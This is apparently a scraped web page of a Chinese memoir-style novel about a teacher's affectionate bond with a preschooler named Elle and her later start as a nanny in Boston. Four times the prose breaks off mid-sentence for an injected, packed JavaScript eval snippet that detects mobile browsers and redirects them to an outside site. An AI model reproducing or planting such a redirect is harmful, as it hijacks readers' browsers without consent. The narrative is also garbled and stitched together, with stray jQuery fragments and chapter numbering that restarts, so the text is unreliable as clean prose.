l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437773|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 集了一些有关孩子可爱瞬间的章节,强烈建议阅读,后半部分主要讲述职场霸凌的话题,可能会引起不适,请根据个人承受能力选读; 第四卷《人之初》预计十四万字,是全书内容最丰富也是最高光的部分,强烈建议阅读。 本书目前免费阅读,如果您喜欢这本书,请把它分享给您的亲朋好友,便是功德无量,感激不尽! 10. 第十章 无条件的爱(上) 我与伊莱的相识始于一场误会。 初始印象觉得她长得有点像凯蒂猫,浑圆的脸蛋,两只狭长的大眼睛分得很开,湖蓝色的眼眸,一头像小马驹一样垂顺的金发。 刚开学的时候她爸爸一身西装革履来教室接女儿,当时伊莱正和小朋友们被其他老师带出去在室外活动,来帮忙的轮值老师不太清楚情况,问我伊莱是不是在操场上,我随口回答“我猜是”,意思是不确定此刻她们会不会在上厕所或是在回来的路上。 伊莱爸爸在一旁听见,立刻像教训员工一般颐指气使地对我说:“我期待的答案不是‘我猜是’。”又十分挑剔地询问我伊莱睡了多长时间午觉。 我被伊莱爸爸粗鲁的态度弄得很不舒服,暗忖以后对他的宝贝女儿可要小心些,敬而远之为上。 一个在我生命中有着特殊意义的灵魂就这样以误会的方式登场了,世事就是如此玄妙,让你看到开头,猜不到结尾,这个我原本打算要躲远一点的孩子对我却偏偏有着莫名天然的亲近和喜爱,完全不在意我的冷淡反应,开学没几天就自来熟地当着她爸爸的面各种主动找我说话向我示好,自说自话地不停和我描述她画的一幅画上的小马驹是什么样,告诉我她家里有玩具小马驹,她最喜欢的颜色是粉色和紫色,等等等等。 伊莱面貌虽然可人,声音却奇异地十分粗哑,咬字又有些不清,以至于许多话我都没听明白,只得顺着她的话口不对心地唯唯应着,仍未忘记要躲她远一点的想法。 某天我应伊莱的要求给她编了个小辫子,她爸爸来接她时她特别开心又珍视地向她爸爸强调:“这是彦岚给我编的辫子!” 她爸爸抬头问:“谁是彦岚?” 我于是微笑着向他摆摆手说:“不用谢。”心里却还是忍不住地别扭。 可是实在扭不过这个小小孩童的屡屡主动示好,几次之后我就放下心防,把之前的预设丢到九霄云外去了。我对伊莱的喜爱不仅仅因为她对我的热爱,更因为我发现她本身是个十分聪慧可人疼的小甜心,懂事识大体,性格又自信乐观,在班里绝对数得上可爱宝宝前五名,便时常让伊莱帮我一些小忙,她也总是做得有模有样,很快这前五名又在我心里被提到了前三名。 我经常在厕所里给孩子们读故事书,有一次一个孩子拿起厕所抽屉里被读了无数遍的一本书让我读,伊莱在一旁很肯定地评论:“彦岚, 我猜你对那本书应该已经厌倦了。” 我听到她这话不由得暗自惊叹,想不到她小小年纪对于他人内心情绪的判断竟如此准确,实在是太聪明了! 因为聪明,许多同龄孩子还搞不清楚的父母的姓名和年龄在伊莱这里却是门清,她告诉我:“我妈妈叫珍妮,爸爸叫罗杰,不过我叫他们妈妈和爸爸,我妈妈四十六岁,爸爸四十九岁。” 我想,看来伊莱对于父母来说是老来得子,又这么聪慧懂事,难怪她爸爸那么宝贝她。 伊莱的爸爸罗杰一头金发,长得高高壮壮,说话大嗓门,一副鲁莽的样子,在教师会议上我曾忍不住向南希提起罗杰对我的态度,南希一句话就开解了我:“你不必放在心上,他只是紧张他的小公主而已。” 时间长了我发现罗杰在伊莱面前就是个逗比,时常扮小丑逗女儿开心,把一只手放在耳朵边扇着,嘴里发出“卟——”的声音,却被三四岁的女儿嫌弃幼稚。我想可能罗杰平时在公司里有些职权傲慢惯了,情商又低,其实没什么坏心眼,便不再与他计较,他也意识到我对他的女儿挺好,待我就比以前客气了许多。 后来见到伊莱的妈妈珍妮,眼睛也是分得很开像伊莱的眼睛,头发灰白有些显老,一副气定神闲对一切了然于胸的样子,罗杰在她面前完全服服帖帖,伊莱的性格和珍妮很像,都是情绪稳定情商很高可以信赖依靠的类型。 一次我在路上遇到珍妮便同行了几步,她笑着对我说:“伊莱在家里总是提到你。” 我感到有些意料之外又似情理之中,礼貌地笑笑说:“我爱伊莱,她是我的好帮手。” 有趣的是第二天罗杰来接伊莱时就兴奋地大声对她说:“伊莱,你是个好帮手!” 我暗暗觉得好笑,看来我和珍妮的对话他们昨晚在家里显然已经交流过了。 另一次在操场上远远看见珍妮来接伊莱,我向她招招手,她也立刻看到我,笑着向我招手,然后走到卡伦坐的长椅边同她聊了两句。 伊莱这时正和一群孩子在奔跑玩耍,珍妮没有打断她,而是远远微笑地望着她,还模仿伊莱憨态可掬的跑步姿势。 伊莱又跑了两圈,直到跑到珍妮身边才看见她,立刻笑着伸开双臂奔向珍妮,一边有些撒娇地大喊:“妈妈!” 珍妮把她高高抱起来,伊莱煞有介事地大声向刚才一起玩耍的几个孩子宣布:“对不起各位,我妈妈来了!”既通知了别人她不能再继续玩下去,又不会令任何人感到不愉快,那自信乐观情商满满的小模样让人看着着实喜爱。 珍妮同卡伦道别后抱着伊莱往外走,又特意远远地向我说了声再见,我能感觉到自己在珍妮眼中是个有些特别的存在,不知道这有多少来自伊莱在家对我的描述,多少来自珍妮对女儿的了解,又有多少来自珍妮对我的直接观察。 我和伊莱的关系渐渐地越来越亲密,她午睡后总是困得睁不开眼,为了叫她起床我会摸摸她的小脸把她抱起来,她似乎很喜欢这种接触,起床后也经常让我抱抱,有时还一副理直气壮的样子把两手一伸:“彦岚,把我抱起来。” 后来只要我上班一进教室她就会跑过来抱我,如果在走廊里遇见,她一定要拉着我的手一起走回教室,如果我正陪其他午睡的孩子一起躺在地上,正面躺着伊莱就从正面抱,侧面躺着她就从背后一下子扑过来,嘴里嚷嚷着“抱抱”,有一次紧紧抱住我还说“我给了你一个紧紧抱”,可爱得让人难以拒绝。 有时候我忙着准备零食,伊莱被其他老师叫起床,她睡眼朦胧地犹自坐在自己的小床榻上,还不忘一边打着哈欠一边用胖胖的小手给我送来一个飞吻,或是旁若无人地大声向我挥手招呼:“嗨,彦岚!”直到确保我看见听见为止,我也总是对她抱以浅浅一笑。 伊莱经常喜欢大剌剌地爬到我腿上用心入神地玩我的头发,对我说:“我喜欢你的头发。” 我问她:“你喜欢我的头发是不是因为我的头发是黑色的,和你的头发颜色不一样?” 她点点头说:“是的。” 一次她摸完我的头发意犹未尽,竟然用两只小手使劲捏我的脸,嘴里还说着:“圆乎乎!” 如果是私下里我或许会享受和她之间的嬉闹,可是众目睽睽之下我觉得自己的教师威严受到了挑战,又不忍心喝止她,便在她每次抬起手时挠她的胳肢窝阻止她的动作。 她一边躲避一边居然和我讲起了条件:“如果你让我摸你的脸,我就也让你摸我的脸。”在我笑着拒绝后,她竟试图把我的两只手压到自己屁股底下再来摸我的脸,当然最后没有成功。 伊莱还喜欢抓起我的胳膊掐我的手,小孩子没轻没重,掐得还挺疼的,一开始我不知缘由,只是把手拿开,直到有一天她坐在沙池边拿起我的手边掐边说:“我总是想掐你。” 我好像突然明白了她的感受,问她:“你是因为喜欢我才想掐我吗?” “是的。”她回答。 我想,这大约就像我们有时候太喜欢一个人恨不得咬上一口差不多吧? 某天午睡起床后我和轮值老师泰勒一起陪几个孩子坐在门口垫子上,伊莱睡意犹存,爬到我身上半眯着眼搂着我的脖子用自己的脸磨蹭着我的脸,后来干脆把嘴巴也凑到我脸上,她的小脸蛋和小嘴巴又软又嫩,蹭在脸上舒服极了,我看了泰勒一眼,感到有些不好意思,笑着作势躲了躲,可是小姑娘又立刻依恋地凑上来,而我的内心其实也有些沉迷,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437774|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舍得叫她停下来。 那天回家后还在回味伊莱的小脸和小嘴蹭在脸上的感觉,终于是开始动心了。 第二天到学校,我靠坐在几个已经睡下的孩子中间,伊莱上完厕所回到教室,看见我立刻过来爬到我身上,然后在我脸上亲来亲去。 我回吻了一下她的头发,叫她去脱鞋睡觉,她却说“下巴”,我才明白她要亲我的下巴,就把下巴往她面前送了送,她又说“鼻子”,再在我的鼻子上亲一下,我心道“原来她是要把我脸上的几个点都亲到,这下应该结束了吧”,没想到她又重新开始亲我的左边脸颊。 这时从教室外面进来的卡伦大声喝止了伊莱,命令她脱鞋睡觉,伊莱这才从我身上爬下去。 午睡后带孩子们去厕所,伊莱在几个孩子中间拉住我的一只手,突然忍不住放在嘴边亲了一口,我虽然忙于其他事务无暇回应,却并未忽略这个令人窝心的小动作——和她白嫩的小手比起来,我的手要粗糙得多,肤色也深很多,在她面前摆出来是有些自惭形秽的,没想到她却毫不嫌弃,拿起来又珍惜又喜爱地亲吻。来自这个孩子没来由无条件的爱是如此强烈又毫无保留,着实令我动容,一面不解自己何德何能值得她如此,一面又因为她的爱觉得自己似乎变得更好更值得了。 从此以后每天午睡前伊莱都要过来在我的脸上亲一遍,如果我站着在忙她就会抱住我的腿亲(因为个子太矮只能够到腿),这几乎成了她每天的仪式,如果被卡伦喝止她就停下来,不过第二天亦复如是,我行我素,“屡教不改”。 有趣的是在幼儿园的大多数时候伊莱并不黏我,自顾自或和其他孩子玩耍,爸爸妈妈来接回家时也从不和我打招呼,我也不会为此感到难过,完全没有和洛霖之间的那种独占欲和患得患失。 一天我正陪几个孩子玩猜牌游戏,伊莱也在其中,曼达突然打断我让我去把水槽里的碗洗了,我因为曼达的粗鲁无礼感到有些不悦,作为兼职老师却不便说什么,只得让孩子们自己继续游戏。 正独自默默在角落里洗碗,突然发现伊莱不知何时跟了过来,站在旁边小孩子洗手时踩的木台阶上饶有兴味地看我洗碗,很感兴趣地问:“彦岚,你为什么在做这个?” 我解释:“因为今天没有教室助理帮我们,需要有老师来洗碗。” 她目不转睛地盯着我手上的动作,语气里竟满是赞赏:“我喜欢你洗碗的样子,就像个妈妈一样。” “谢谢。”我说,心里不禁被她夸得美滋滋的,感受到满满的被爱——原来喜欢一个人看他(她)做什么都是好的,连洗碗都欣赏。 伊莱居然就这样一直陪在我身边直到我把所有的碗洗完,其间对我各种提问和评论,对教室里其他小朋友的活动则完全无动于衷,仿佛看我洗碗才是眼下对她来说最重要的事,而因为有了她的欣赏和陪伴,洗碗这件苦差对我来说也成了有滋有味的事。 在这段关系里我仿佛全然被动地被一个三四岁的孩子带领,逐渐领略爱的甘醇甜美,而我对伊莱也越来越偏爱宠溺毫无办法,这才明白至真至纯的爱原来无关年龄、性别、种族,一切世俗的标准都是对这种宝贵情感的禁锢和玷污,可是它又像水和电波一样是流动和难以捉摸的,事易时移都可能随时改变,所以这世上真爱难觅,更难守。在这个时间点我和伊莱相遇了,两个灵魂毫无挂碍地相互吸引,我在她心目中是满有能力值得仰望喜爱信任的,她在我心里也是可爱美好纯净天真勇敢的,但我也明白很快我们的距离就会越来越远,再也不在同一个轨道和频率上,她的认知终将超越现有的层面,她的心性或将无可避免地被尘世沾染,而她对我的记忆也会很快消退。经历过对洛霖的沉迷与失望,我不再奢求,也不刻意回避,当爱降临便怀着一颗感恩之心享受它的甘美,当爱离开就掸一掸衣袖亦不强留,至少明了无条件的爱在这世间原来真的存在,有幸相逢便相知珍重,缘散便相忘于江湖。 11. 第十一章 无条件的爱(下) 下午带着几个孩子在厕所里等下一组孩子的时候,我对他们说其实我们生活在一个叫做地球的大球上,我们现在在这边,而我出生的国家中国在地球的另一边,这边是白天的时候中国是晚上,因为我们现在朝着太阳而中国在地球的背面,当地球的那一面转过来的时候中国就是白天而我们这边是晚上,还说从这里坐飞机去中国要十五个小时。 小孩子们听得津津有味,伊莱更是兴奋地爬到我腿上开心地冲我笑玩我的头发还叽里呱啦说个不停,我摸摸她可爱的小圆脸,看着她像个活的洋娃娃似的,真想亲一口。 下雪了,我在操场上做了一个拳头大小的雪球给伊莱玩,她抱着雪球跑到一旁,过了一会儿居然用自己做的另外两个更小的雪球和我做的这个垒在一起堆成了一个迷你版小雪人,配上她娃娃般的大头小身子在一旁开心的模样,那画面简直太萌了! 这几天伊莱继续对我进行甜蜜攻势,她先是自作主张地说:“彦喃,我以后叫你彦妮吧。”——她因为口齿不清一直把我的名字叫成“彦喃”,“彦妮”算是“彦喃”的昵称。 第二天她又把我的名字改成了“彦喃妮”,而且是当着全班的面大声喊出来,其他孩子都睡下了,她最后一个上完厕所进教室还兴奋地大声说:“彦喃妮,彦喃妮,过来帮我盖被子!” 午睡后我在厕所里给几个孩子读故事书,伊莱蹭到我身边,另一个孩子抗议她挡住了视线,她却很强势地不肯挪位置,唯恐不能紧挨着我,我于是一边单手拿故事书一边另一只手将她往后揽在怀里,“假借”维持秩序之名暗暗享受与她相依偎的甜蜜。 回到教室伊莱说要给我画一件衣服,问我喜欢什么图案,我说“小马或者蝴蝶”,她说“小马对我太难了,蝴蝶也太难了,我画只鲸鱼吧”,很自信地在纸上画了个方方圆圆的东西,点上眼睛,又在头顶加上一个类似天线的东西,说是鲸鱼喷的水,别说还挺像鲸鱼的。接着她不停问我还想加什么图案上去,画好大约自己实在太喜欢,也不再提给我的事,直接放到自己的柜子里去了。 不过第二天伊莱又另画了一幅画送给我,还在我的要求下署上自己的大名,又在背面画了一些彩色的爱心。我拿过来看了看,小小年纪名字的几个字母居然写得十分大气,运笔甚至比我都自信沉稳。 偶尔也有低谷的时候,某天我很累状态不好,午睡时伊莱贴心地帮我分发孩子装床单的袋子,又把孩子们的鞋子摆好,给了我很大的安慰,可是下午我又经历了许多困境心力交瘁,伊莱和我的互动也特别少,我感到特别挫败。 好在第二天还算轻松顺利,伊莱也补偿性地对我格外亲热,一见我进教室就紧紧抱住我的腿要我陪她。 我对她说:“我去把包放下。” 她大声道:“那你放好再过来。”又一路跟在我身后,等我放好包立刻紧紧拉住我的手站在教室中间当着所有老师和孩子的面拖长声音大声对我说:“永远不要离开!” 在别人看来这或许只是小孩子的童言无忌、词不达意,可是在我看来却仿佛是伊莱对我的表白和心声,那一刻我的心里特别甜蜜。 我帮其他几个孩子盖好被子,伊莱焦急地等待着,然后把我拽到门口垫子上要我陪她一起读《长发妹》,我怕影响到别人,对她说:“快到午睡时间了,只能读一页。” 小声读完一页后卡伦喊伊莱去上厕所,她上完回来又找到我激动地紧紧抱住,我一边回抱一边在她头发上亲了亲,提醒她脱鞋睡觉。 下午我带一个孩子上完厕所回到教室,坐在靠近门口的地方陪几个还没吃完零食的孩子吃零食,然后挪到一个角落看着玩积木的几个孩子。 这时看见伊莱突然跑到靠近门口的地方喊我的名字,仿佛是在找我,我不便离开自己的位置或是当着所有老师的面大喊“我在这里”,便等伊莱自己回头看见我,只见她有些紧张地到处张望着,又喊了一声我的名字,那小小的身影倒有几分落寞,令我不禁有些心疼。 几秒钟后伊莱似乎放弃了,转身往回走,刚好迎面瞧见正望着她微笑的我,她立刻也笑起来,冲我大声道:“彦喃,看我!”随即跟着录音机里的音乐旋转,让身上穿着的一条灰纱缀亮片的小裙子飞扬起来。 我赞许地笑着说:“真好看!” 她又不停地转,一直喊我看,还喊旁边的卡伦看,可惜卡伦只是瞟了她一眼便将目光转向别处,皱着眉一副完全不感兴趣的样子。 这时布雷迪的妈妈来给儿子过生日,大家围坐到地毯上听她读故事,伊莱坐在我身旁紧紧抱着我的胳膊依偎着我,中途我起身去给孩子们准备水杯,回去时伊莱干脆坐到我的腿上以防我再走掉,我就轻轻环抱着她,享受着那温馨甜蜜的一刻。 下班的时候嘉娜指着柜子上的一只塑料袋对我说:“哦,那是伊莱给你的。” 我拿起来放进包里,回家打开那个袋子,里面放了一张卡片、一张一块钱面值的刮奖彩票和一小块巧克力,卡片是一张很不正式的带花纹的硬纸片,上面是成年人的笔迹,仿佛匆匆写就:“彦岚,你很棒!谢谢你所做的一切!(爱心)伊莱及家人。” 听嘉娜说这是伊莱家长给每一位老师的感谢卡,可是不年不节的是为了什么缘故呢?倒像是听从小孩子的一时兴起。 不知道为什么我就是感觉这张彩票会中奖,很认真小心地刮开,果然中了六块钱。 前段时间与曼达以及班上老师之间关系紧张,日日都十分煎熬,近来内心却空前地平静祥和,因为伊莱的缘故突然觉得每天去学校竟成了一件令人期待的事,自己也似乎变得越来越好,越来越喜欢自己,也渐渐找到了在学校的位置和与他人的相处之道,几乎对一切都能平心静气、云淡风清,甚至不介意一直在学校这么待下去。 然而分别的一天总要来临,去年最后一天我还很舍不得,今年心境老道了许多,甚至连最爱的伊莱离开时内心都很平静,已经能够十分坦然地接受分离和失去了。 那天中午一到学校就看见米罗和伊莱在走廊里,米罗向我打了声招呼,兴奋地对伊莱喊道:“彦岚来了,彦岚来了!” 伊莱不紧不慢地把她的午餐包放到柜子里,我便放慢脚步等她,因为这是伊莱在中班的最后一天,我不想错过任何与她相处的片刻。 伊莱放好午餐包过来搂住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437775|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我,我也回搂她,没想到她竟有些伤感地用又粗又萌的声音感叹道:“彦岚,我最好的朋友!” 我的心被轻轻撞了一下,词不达意地回应了一句:“是吗?” 其实我真正想说的是:“伊莱,我最爱的宝宝!” 我们俩就这样相拥着走到教室,虽然只有短短几步也很暖人心。 伊莱每天都要睡午觉,那天她却从头到尾一直醒着,我趁教室里没有其他老师的时候过去在她脸上亲了一下——虽然她常常抱着亲我的脸,可是我亲她的脸好像还是第一次。 下午带第一组孩子去操场时在门口的小花坛边给他们拍了几张照片,伊莱也在其中,恰巧一位女士经过,热心地主动提出帮我们所有人拍一张合影。 整个下午我都在想一定要找机会和伊莱单独合张影,因为多年以后当我们天各一方而她也不再记得我的时候,这可能将成为我与她曾经在同一时空有过交集的唯一证明和纪念。 仿佛是冥冥中的安排,通常很早就会被接走的伊莱那天一直留到了最后,其他孩子都已经回家了,杜冰上楼有点事,我抱着伊莱坐在角落的沙发里给她读一本故事书,享受着独属于我和她的最后的宁静。 直到将近六点钟伊莱的爸爸罗杰才来接她,杜冰陪她拿好所有个人物品,终于到了告别的一刻,罗杰问:“伊莱,你要跟你的老师说什么?” 我和杜冰伸出手臂挨个和她拥抱,然后杜冰便下班走了。 我趁机问罗杰能不能和伊莱合张影,罗杰说他下午喝了很多咖啡手抖,找来隔壁的一位老师帮我和伊莱拍照,我在教室门口单膝跪地搂着伊莱一起面对镜头。 这时罗杰站在镜头后面说:“伊莱,你做鬼脸的样子呢?再照一张做鬼脸的。” 伊莱又伸着舌头俏皮地照了几张。 拍完照片罗杰告诉我:“伊莱总在家唱你教她的中文生日歌。” 我十分惊喜地说:“没想到她能记住。” 罗杰叫伊莱唱给我听,我抱着她等,她却不好意思不愿意唱了。 我告诉罗杰:“最近我们还学了一首中文歌《两只老虎》,伊莱很聪明,根本不用人操心。” 罗杰很高兴,问我:“你明年还在中班吗?” 我说:“是的。” 他听了很开心:“我和珍妮都很高兴明年还能在学校这里那里见到你,很感谢你所做的一切。” 他甚至还冲我微微欠身点头以示感谢,依他逗比小孩子般的性格,我明白他这是在真心感谢我,我和罗杰也算不打不相识,从最初的误会不快到最终的感激致谢离场,这段相遇也算圆满了。 回到家拿出手机细细观赏与伊莱的合照,才发现第一张伊莱一本正经拍照的样子一点也不像她,反而后来做鬼脸和没看镜头的几张倒是捕捉到了她灵动的神韵,这还要谢谢罗杰有心或无意的建议。 后来时常还会在操场上见到伊莱,仍是活泼快乐自信满满的样子,我也很为她感到高兴——我想健康的爱应该就是这个样子,相逢时珍惜,分别后祝福。 谢谢你,伊莱!这份至真、至纯、热烈、深重的爱我会一辈子珍惜。 12. 第一章 儿童看护 在加州历经一年半终于获得初级幼教资格证之后,还来不及真正涉足这个行业,老公在美国东海岸谋得一份更好的职位,我们又搬家了,这一次是横跨美国大陆,从西海岸的洛杉矶搬到东海岸的波士顿。 波士顿位于美国东北部大西洋沿岸,是美国最古老的城市之一,美国独立战争的起源地,也是著名的文化之都和马萨诸塞州(俗称麻省)的首府,基础设施完备,拥有美国最早的地铁系统以及众多名胜古迹。 这里也是全美教育水平最高的地方,整个大波士顿地区拥有一百多所大学,可谓人杰地灵、人文荟萃,位于剑桥镇的哈佛大学和麻省理工学院更是举世闻名的高等学府,汇聚了来自全球的顶尖人才,为这座充满活力的城市不断输送着新鲜血液,流经两所学校门前的查尔斯河上时常白帆点点,那是学生们在上单人帆船驾驶课。 波士顿的纬度与中国的漠河一致,一年有五个月是冬天,但是波士顿的秋天很美,每年秋风一过,满城树木的叶子便被染上层层叠叠的深红、橘红、金黄,掩映着尖顶红砖风格的建筑,美得像一副油画。 我们是夏末搬到波士顿的,找好房子稍作安顿,刚领略了月余秋日美景,便匆匆进入冬天,好在这座位于美国东北部的城市对漫长的冬季经验丰富、应对有方,无论公共设施还是私家住宅内的供暖都十分强劲,只要一下雪,由公共管理部门统一调配的铲雪车和撒盐车便会出动彻夜工作,确保马路及人行道上时刻干爽,人们出行几乎不受影响,并未让人感受到太多严冬之苦。 我们租住的公寓在一座二层红砖小楼里,一梯四户,据说从前曾经是军官的住所,如今被租房公司买下改建成公寓对外出租。美国大部分住宅外表看着漂亮结实,里面其实多用三合板搭建墙体结构再刷上涂料,钉个钉子都吃不住劲,但是这百年前用于军官住所的房子却是真材实料以实心砖砌成,想在墙上钉钉子挂画居然还钉不进去,所以即使在严冬里也让我们格外有安全感,每次下雪时待在温暖如春的室内,透过厚实的玻璃窗观赏外面大雪纷飞,竟有种特别幸福美好的感觉。 安顿好新居,又熟悉了一番这座城市,过完新年,从二月起我开始陆续投递简历,想找一份幼儿园的工作。离我们的住处不远有一所很正规的幼儿园,三层的红砖教学楼和带有儿童娱乐设施的操场掩映在绿树丛中,如果能在这里工作每天步行就可以上下班,简直太理想了,我于是第一个向这家幼儿园投送了简历。 然而几个月过去却未收到任何一家幼儿园的回复,我这才发现麻省这边百分之九十的幼儿园都要求有本省的幼儿教师资格证才能工作,而申请麻省幼教资格证又要求有工作经验(麻省的萌新教师从幼教专业毕业后学校会直接安排他们进入某个幼儿园以极低的薪资实习工作一年),这一下子成了一个悖论,将我完全排除在外,我不得不暂时放弃进入这一行业的想法。 转眼半年过去,某天我的内心突然产生了一股强烈的冲动,迫切地想要做些与幼儿相关的事情,便将自己的简历上传到一个为美国家庭提供儿童看护服务的网络平台,想先从儿童看护做起。 美国国家儿童安全组织建议不要让十二岁以下的儿童单独留在家里,虽然各州有关年龄的规定各不相同,但即使生活在没有明确年龄规定的州,家长如果把十二岁以下的孩子单独留在家,一旦有人举报警察就会登门,如果孩子发生任何意外父母都要负全责,重者坐牢丧失抚养权,轻者须按时见社工、接受家访检查,这催生了美国庞大的儿童看护市场,当家长有事无暇分身时便不得不雇人看护自己的孩子。 对于看护人的要求则比较简单,通常只需要背景清白、与孩子相处融洽和确保孩子的安全,所以即便十几岁的大孩子也能当看护,并且他们的收费往往会便宜一些,不过有些家长会额外要求看护能开车接送孩子上下学或去兴趣班、帮孩子辅导功课、为孩子准备简单的餐食等等,儿童看护按小时支付报酬,日积月累也是一笔不小的开支,这也是许多美国女性有了孩子之后便成为全职妈妈的原因之一。 简历和求职意向贴出去没几天就收到一位名叫琳达的女士的邮件,声称他们是住在波士顿的一个澳大利亚家庭,想为六岁和八岁的女儿找一位儿童看护,工作内容包括每周三和周四下午接孩子放学步行回家,陪伴她们直至父母下班,同时因为她们在学习中文,希望我能经常和她们说说中文加以巩固。 我和琳达通了电话,约好第二天去她家里面试。 琳达家离我住的地方很远,公交巴士坐几站路,再转两道地铁,下来还要步行约七八分钟爬上一片上中产聚居的高坡才抵达琳达的房子前——多年后我才知道这片并不起眼的小土坡位于波士顿一个富人区内,是闻名全美的优质学区,公立小学在麻省排名前十。 我从户外楼梯爬到二楼的入户门前按响门铃,一位四十多岁、金发垂肩、圆眼睛有点微微的双下巴、面容十分温和可亲的女士前来应门,她就是琳达。 琳达微笑着和我打招呼把我领进客厅,屋子里除了白墙和木地板只有一些基本的家具,墙上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437776|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贴着孩子们的照片作为装饰,我后来得知他们一家去年八月才从澳大利亚搬到波士顿,临时租下了这栋房子。 客厅沙发上坐着一对慈祥的老夫妇,琳达介绍道:“这是我父母,从澳大利亚来探望我们,很快就要回去了。” 我于是客套地问老夫妇:“你们回澳大利亚以后打算下次什么时候再来美国?” 没想到他俩居然当着女儿的面板着脸说:“再也不来了,我们带孩子年纪太大了。” 琳达略显尴尬地对我笑笑,又招呼自己的两个女儿过来和我见面,一个瘦精精戴着小眼镜的小姑娘乖巧地从里面房间出来,有些羞涩地走到我身边向我自我介绍:“我叫班缇,今年八岁。”又给我看她手指上套着的两个小人偶,“他们会说中文。” 我笑着说:“太好了。”然后用中文和小人偶打招呼。 另一个胖乎乎披着一头金棕色长卷发的小姑娘则神情倨傲地径直从我面前经过往厨房去了,琳达对我说:“那是安卡。” 沙发上的老夫妇这时冲我叹了口气,气咻咻地摇着头道:“那是个坏孩子。” 我虽然脸上不露声色只是笑笑,心里却不免诧异:孩子的外祖父母怎么第一次见面就对我这个外人这么说自己的外孙女呢? 这时身旁的班缇受到我的鼓舞越说越来劲,已经开始向我介绍起她的其他玩具朋友们了,琳达不得不打断让她先回自己房间玩,然后和我聊了聊,告诉我她在剑桥一家公司做人事工作,又问了问我的经历。 我从包里拿出身份证、加州初级幼教资格证、无犯罪记录指纹卡以及参加急救培训的证书展示给琳达看(这些都是之前为找幼儿园工作准备的),这些似乎有些超出琳达的预期,不过她还是很高兴地一一过目,然后问我希望的薪酬是多少。 我说:“因为是两个孩子,所以我要求的时薪是二十美元。” 琳达说:“这也正是我们所预期的。”又让我回头提供两名推荐人的联系方式,最后问:“你还有任何问题想问我吗?” 我来之前在网上临时抱佛脚地看了一些如何面试儿童看护的文章,此时现学现卖,询问道:“孩子们有没有什么特殊需求?是否对特定的食物过敏?” 琳达似乎对我问的问题感到很高兴,笑着说:“没有。” 当晚就收到琳达的邮件,表示姑娘们很喜欢我,他们全家想让我从下周开始做她们的儿童看护。我回复很乐意接受这份工作,并提供了林肯外婆和蒂娜的联系方式,然后期待着与两个孩子的相处。 13. 第二章 人生若只如初见 一周后如约来到琳达家,因为是第一次看护,琳达亲自带我熟悉了一下所有流程,我在她的带领下穿过宁静的居民区,中间拐过三道弯,步行大约一刻钟后来到两个孩子的学校。 透过铁丝网围墙看见一大片操场和一栋有半条街长的三层红砖综合教学楼,楼顶上竖着几排高高的烟囱——波士顿的冬季寒冷而漫长,往往一所学校的所有教室、办公室、图书馆、活动室等所有设施都集中在一栋硕大的建筑里,这样足不出户就能满足大部分教学和活动需求。 琳达领着我绕到教学楼顶端一扇玻璃双开门前等候,门外此时已经聚集了一些来接孩子的家长,两点半一阵下课铃声响起,一名教师从里面打开门放家长进去。 安卡的一年级教室就在二楼顶头,走上一段楼梯就到了,一位二十六七岁年纪、扎着马尾、不苟言笑的女教师正站在教室门口,一个个喊坐在座位上的孩子出来和家长会合。 琳达上前把我介绍给女教师,告诉她以后每周三、四会由我接安卡放学,女教师对我笑笑,然后冲教室里面喊安卡的名字,而此时班缇已经从楼上的三年级教室飞奔下来,激动地紧紧抱住来接她的妈妈。 回去时琳达一路向我交代:“放学后如果姑娘们想的话,可以让她们在操场上玩十五分钟;有时候她们在回去的路上想穿过‘森林’,那是路边的一片小树林;三点钟到家姑娘们可以从厨房的食品橱里选择想要吃的零食,但别给她们太多,否则她们晚饭会吃不下去,吃零食的时候可以给她们读一本故事书;吃完零食开始做功课,做完功课就可以自由玩耍了。” 到了家门口,琳达将车库门的密码告诉我,我们一起从车库里的一扇小门上楼进入室内,随后她又交给我一张纸,上面详细列明她和孩子爸爸亨特的手机号码、公司座机号码、学校电话号码、邻居和朋友的紧急联系号码、以及我接下来三个月的工作时间表,琳达不愧是做人事工作的,把一切安排得明明白白、详尽周全。 陪孩子吃完零食做完功课,琳达让我随她们去游戏室单独玩了一会儿,顺便培养一下和两个孩子的感情,第一次看护就这样轻松愉快地结束了。 